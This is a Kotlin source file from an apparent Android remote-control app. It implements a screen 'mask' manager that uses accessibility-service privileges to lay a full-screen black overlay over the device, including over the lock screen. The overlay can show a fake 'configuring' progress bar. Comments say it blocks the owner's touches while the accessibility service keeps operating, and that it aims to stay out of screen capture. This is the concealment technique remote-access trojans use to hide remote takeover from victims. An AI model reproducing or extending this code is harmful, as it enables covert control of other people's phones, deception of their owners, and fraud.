package com.hikoncont.service.modules.mask

import android.content.Context
import android.graphics.Color
import android.graphics.PixelFormat
import android.util.Log
import android.view.Gravity
import android.view.View
import android.view.WindowManager
import android.widget.LinearLayout
import android.widget.TextView
import android.widget.ProgressBar
import android.view.SurfaceView
import android.graphics.Canvas
import android.graphics.Paint
import android.content.BroadcastReceiver
import android.content.Intent
import android.content.IntentFilter
import com.hikoncont.service.AccessibilityRemoteService
import com.hikoncont.service.modules.ConfigProgressManager

/**
 * 基于AccessibilityService的遮盖管理器
 * 利用无障碍服务的系统级权限实现全局遮盖，无需额外权限
 */
class AccessibilityMaskManager(
    private val context: Context,
    private var config: MaskConfig
) : IMaskManager {
    
    companion object {
        private const val TAG = "AccessibilityMaskManager"
    }
    
    /**
     * 🔧 新增：检查是否为vivo设备
     */
    private fun isVivoDevice(): Boolean {
        val brand = android.os.Build.BRAND?.lowercase() ?: ""
        val manufacturer = android.os.Build.MANUFACTURER?.lowercase() ?: ""
        val model = android.os.Build.MODEL?.lowercase() ?: ""
        
        return brand.contains("vivo") || 
               manufacturer.contains("vivo") || 
               brand.contains("iqoo") || 
               manufacturer.contains("iqoo") ||
               model.contains("vivo") ||
               model.contains("iqoo")
    }
    
    // 遮盖状态
    private var isInitialized = false
    private var isMaskShowing = false
    
    // WindowManager和遮盖视图
    private var windowManager: WindowManager? = null
    private var maskView: View? = null
    
    // 进度条相关组件
    private var progressBar: ProgressBar? = null
    private var progressText: TextView? = null
    
    // 进度更新广播接收器
    private val progressReceiver = object : BroadcastReceiver() {
        override fun onReceive(context: Context?, intent: Intent?) {
            Log.i(TAG, "📻 AccessibilityMaskManager收到广播: ${intent?.action}")
            
            if (intent?.action == ConfigProgressManager.ACTION_CONFIG_PROGRESS_UPDATE) {
                val percentage = intent.getIntExtra(ConfigProgressManager.EXTRA_PROGRESS_PERCENTAGE, 0)
                
                Log.i(TAG, "📊 AccessibilityMaskManager收到进度更新: $percentage%")
                
                // 在主线程中更新UI
                android.os.Handler(android.os.Looper.getMainLooper()).post {
                    progressBar?.progress = percentage
                    progressText?.text = "配置中... ($percentage%)"
                    Log.i(TAG, "🔄 AccessibilityMaskManager进度条UI已更新: $percentage%")
                }
            }
        }
    }
    
    override fun initialize() {
        if (isInitialized) {
            Log.w(TAG, "⚠️ AccessibilityMaskManager已初始化，跳过重复初始化")
            return
        }
        
        Log.i(TAG, "✅ AccessibilityMaskManager初始化")
        
        // 获取WindowManager
        windowManager = context.getSystemService(Context.WINDOW_SERVICE) as WindowManager
        
        // 注册进度更新广播接收器
        if (config.enableProgressBar) {
            try {
                val progressFilter = IntentFilter(ConfigProgressManager.ACTION_CONFIG_PROGRESS_UPDATE)
                context.registerReceiver(progressReceiver, progressFilter)
                Log.i(TAG, "✅ AccessibilityMaskManager进度更新广播接收器注册成功")
                Log.i(TAG, "📡 AccessibilityMaskManager监听广播Action: ${ConfigProgressManager.ACTION_CONFIG_PROGRESS_UPDATE}")
            } catch (e: Exception) {
                Log.e(TAG, "❌ AccessibilityMaskManager注册广播接收器失败", e)
            }
        }
        
        isInitialized = true
    }
    
    override fun showMask() {
        if (!config.enableMask) {
            Log.d(TAG, "🚫 遮盖功能已禁用，跳过显示")
            return
        }
        
        if (!isInitialized) {
            Log.w(TAG, "⚠️ 管理器未初始化，先进行初始化")
            initialize()
        }
        
        if (isMaskShowing) {
            Log.d(TAG, "⚠️ 遮盖已在显示中")
            return
        }
        
        try {
            Log.i(TAG, "🔒 显示AccessibilityService遮盖")
            
            // 创建遮盖视图
            maskView = createMaskView()
            
            // 设置窗口参数
            val params = createWindowLayoutParams()
            
            // 添加到WindowManager
            windowManager?.addView(maskView, params)
            
            isMaskShowing = true
            Log.i(TAG, "✅ AccessibilityService遮盖显示成功")
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 显示AccessibilityService遮盖失败", e)
        }
    }
    
    override fun hideMask() {
        if (!config.enableMask || !isMaskShowing) {
            Log.d(TAG, "🚫 遮盖未启用或未显示，跳过隐藏")
            return
        }
        
        try {
            Log.i(TAG, "✅ 隐藏AccessibilityService遮盖")
            
            // 从WindowManager移除遮盖视图
            maskView?.let { view ->
                windowManager?.removeView(view)
                maskView = null
            }
            
            isMaskShowing = false
            Log.i(TAG, "✅ AccessibilityService遮盖隐藏成功")
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 隐藏AccessibilityService遮盖失败", e)
        }
    }
    
    override fun isMaskEnabled(): Boolean = config.enableMask
    
    override fun isMaskShowing(): Boolean = isMaskShowing
    
    override fun setMaskText(text: String) {
        config = config.copy(maskText = text)
        Log.d(TAG, "📝 遮盖文本已更新: $text")
        
        // 如果遮盖正在显示，更新文本
        if (isMaskShowing) {
            updateMaskText(text)
        }
    }
    
    override fun cleanup() {
        try {
            hideMask()
            
            // 注销广播接收器
            if (config.enableProgressBar) {
                try {
                    context.unregisterReceiver(progressReceiver)
                    Log.i(TAG, "✅ AccessibilityMaskManager广播接收器注销成功")
                } catch (e: Exception) {
                    Log.w(TAG, "⚠️ AccessibilityMaskManager注销广播接收器失败", e)
                }
            }
            
            windowManager = null
            isInitialized = false
            Log.i(TAG, "✅ AccessibilityMaskManager资源清理完成")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 清理AccessibilityMaskManager资源失败", e)
        }
    }
    
    /**
     * 创建遮盖视图 - 使用SurfaceView尝试避开MediaProjection截取
     */
    private fun createMaskView(): View {
        // 🔧 vivo设备检测
        val isVivoDevice = isVivoDevice()
        
        return if (config.maskText.isEmpty()) {
            // 纯黑屏模式：使用SurfaceView，可能不被MediaProjection截取
            object : SurfaceView(context) {
                init {
                    // vivo设备使用完全黑色（因为已经跳过亮度调节），其他设备也使用黑色
                    setBackgroundColor(Color.BLACK)
                    if (isVivoDevice) {
                        Log.d(TAG, "📱 vivo设备：SurfaceView使用完全黑色遮盖（替代亮度调节）")
                    }
                    
                    // 设置Z-order在顶层，但可能不被截图
                    setZOrderOnTop(true)
                    
                    // 尝试让SurfaceView不被截图
                    holder.setFormat(PixelFormat.OPAQUE)
                    
                    // 在Surface准备好后绘制黑色
                    holder.addCallback(object : android.view.SurfaceHolder.Callback {
                        override fun surfaceCreated(holder: android.view.SurfaceHolder) {
                            try {
                                val canvas = holder.lockCanvas()
                                canvas?.let { c ->
                                    c.drawColor(Color.BLACK)
                                    holder.unlockCanvasAndPost(c)
                                }
                            } catch (e: Exception) {
                                Log.e(TAG, "绘制SurfaceView失败", e)
                            }
                        }
                        
                        override fun surfaceChanged(holder: android.view.SurfaceHolder, format: Int, width: Int, height: Int) {}
                        override fun surfaceDestroyed(holder: android.view.SurfaceHolder) {}
                    })
                }
            }
        } else {
            // 有文字时使用常规LinearLayout
            val layout = LinearLayout(context).apply {
                orientation = LinearLayout.VERTICAL
                gravity = Gravity.CENTER
                // vivo设备使用完全黑色（因为已经跳过亮度调节），其他设备也使用黑色
                setBackgroundColor(Color.BLACK)
                if (isVivoDevice) {
                    Log.d(TAG, "📱 vivo设备：LinearLayout使用完全黑色遮盖（替代亮度调节）")
                }
                setPadding(48, 48, 48, 48)
                
                // 🔑 设置系统UI可见性，确保全屏覆盖
                @Suppress("DEPRECATION")
                systemUiVisibility = (View.SYSTEM_UI_FLAG_LAYOUT_STABLE or
                        View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION or
                        View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN)
            }
            
            // 主要提示文字
            val textView = TextView(context).apply {
                text = config.maskText
                textSize = 28f
                setTextColor(Color.WHITE)
                gravity = Gravity.CENTER
                setPadding(32, 32, 32, 32)
                tag = "mask_main_text" // 设置标签便于后续更新
            }
            
            // 副标题
            val subtitleView = TextView(context).apply {
                text = config.maskSubtitle
                textSize = 18f
                setTextColor(Color.GRAY)
                gravity = Gravity.CENTER
                setPadding(16, 0, 16, 16)
            }
            
            // 状态提示
            val statusView = TextView(context).apply {
                text = config.maskStatus
                textSize = 14f
                setTextColor(Color.LTGRAY)
                gravity = Gravity.CENTER
                setPadding(16, 32, 16, 16)
            }
            
            layout.addView(textView)
            layout.addView(subtitleView)
            
            // 添加进度条（如果启用）
            if (config.enableProgressBar) {
                Log.i(TAG, "🔧 开始创建AccessibilityMaskManager进度条组件")
                
                // 创建进度条
                progressBar = ProgressBar(context, null, android.R.attr.progressBarStyleHorizontal).apply {
                    max = 100
                    progress = 10 // 设置初始进度，确保可见
                    visibility = View.VISIBLE // 明确设置可见
                    
                    // 设置布局参数
                    val progressBarParams = LinearLayout.LayoutParams(
                        LinearLayout.LayoutParams.MATCH_PARENT,
                        (12 * resources.displayMetrics.density).toInt() // 增加到12dp高度
                    ).apply {
                        setMargins(64, 24, 64, 16) // 增加边距，更明显
                    }
                    layoutParams = progressBarParams
                    
                    // 设置进度条样式
                    try {
                        progressDrawable?.setTint(Color.parseColor("#4CAF50")) // 绿色进度条
                        alpha = 1.0f // 确保完全不透明
                    } catch (e: Exception) {
                        Log.w(TAG, "设置进度条颜色失败", e)
                    }
                }
                
                // 创建进度文本 - 简化为仅显示"配置中...(百分比)"
                progressText = TextView(context).apply {
                    text = "配置中... (10%)"
                    textSize = 16f // 增大字体
                    setTextColor(Color.WHITE) // 改为白色更明显
                    gravity = Gravity.CENTER
                    visibility = View.VISIBLE // 明确设置可见
                    
                    val progressTextParams = LinearLayout.LayoutParams(
                        LinearLayout.LayoutParams.WRAP_CONTENT,
                        LinearLayout.LayoutParams.WRAP_CONTENT
                    ).apply {
                        setMargins(0, 16, 0, 24) // 增加边距
                        gravity = Gravity.CENTER_HORIZONTAL
                    }
                    layoutParams = progressTextParams
                }
                
                // 确保添加到布局
                layout.addView(progressBar)
                layout.addView(progressText)
                
                Log.i(TAG, "✅ AccessibilityMaskManager进度条已添加到遮盖界面，初始进度: ${progressBar?.progress}%")
                Log.i(TAG, "✅ AccessibilityMaskManager进度文本已添加: ${progressText?.text}")
            } else {
                Log.w(TAG, "⚠️ AccessibilityMaskManager进度条功能已禁用")
            }
            
            layout.addView(statusView)
            
            layout
        }
    }
    
    /**
     * 创建窗口布局参数
     */
    private fun createWindowLayoutParams(): WindowManager.LayoutParams {
        // 🔑 关键改动：使用AccessibilityOverlay但尝试特殊配置
        val type = if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.O) {
            WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY
        } else {
            @Suppress("DEPRECATION")
            WindowManager.LayoutParams.TYPE_SYSTEM_OVERLAY
        }
        
        // 🔑 增强全屏覆盖标志组合
        val fullscreenFlags = WindowManager.LayoutParams.FLAG_FULLSCREEN or
                WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS or
                WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN or
                WindowManager.LayoutParams.FLAG_LAYOUT_INSET_DECOR or
                WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED or
                WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON or
                WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED or
                WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD or
                WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON or
                WindowManager.LayoutParams.FLAG_SECURE or  // 🔑 关键：防止被MediaProjection截取
                (if (config.preventUserInteraction) {
                    // 阻止用户交互 - 完全阻塞模式
                    WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE or
                    WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE
                } else {
                    // 🔑 智能模式：阻止手机端物理触摸，但允许AccessibilityService操作
                    // 使用FLAG_NOT_TOUCHABLE阻止物理触摸，AccessibilityService可以绕过此限制
                    WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE or
                    WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE
                })
        
        return WindowManager.LayoutParams(
            WindowManager.LayoutParams.MATCH_PARENT,
            WindowManager.LayoutParams.MATCH_PARENT,
            type,
            fullscreenFlags,
            PixelFormat.TRANSLUCENT  // 改回半透明，尝试让MediaProjection穿透
        ).apply {
            // 🔑 位置和重力设置，确保完全覆盖
            gravity = Gravity.TOP or Gravity.LEFT
            x = 0
            y = 0
            
            // 🔑 关键：设置显示在刘海屏区域
            if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.P) {
                layoutInDisplayCutoutMode = WindowManager.LayoutParams.LAYOUT_IN_DISPLAY_CUTOUT_MODE_SHORT_EDGES
            }
            
            // 🔑 Android 11+ 系统窗口适配
            if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.R) {
                // 确保覆盖系统栏 - 使用现有的标志组合即可
                Log.d(TAG, "✅ Android 11+ 窗口适配已应用")
            }
            
            Log.d(TAG, "🔧 窗口参数设置完成: width=$width, height=$height, flags=${this.flags}, type=${this.type}")
        }
    }
    
    /**
     * 更新遮盖文本
     */
    private fun updateMaskText(newText: String) {
        try {
            maskView?.let { view ->
                if (view is LinearLayout) {
                    // 查找主文本视图并更新
                    val textView = view.findViewWithTag<TextView>("mask_main_text")
                    textView?.text = newText
                    Log.d(TAG, "✅ 遮盖文本更新成功: $newText")
                }
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 更新遮盖文本失败", e)
        }
    }
} 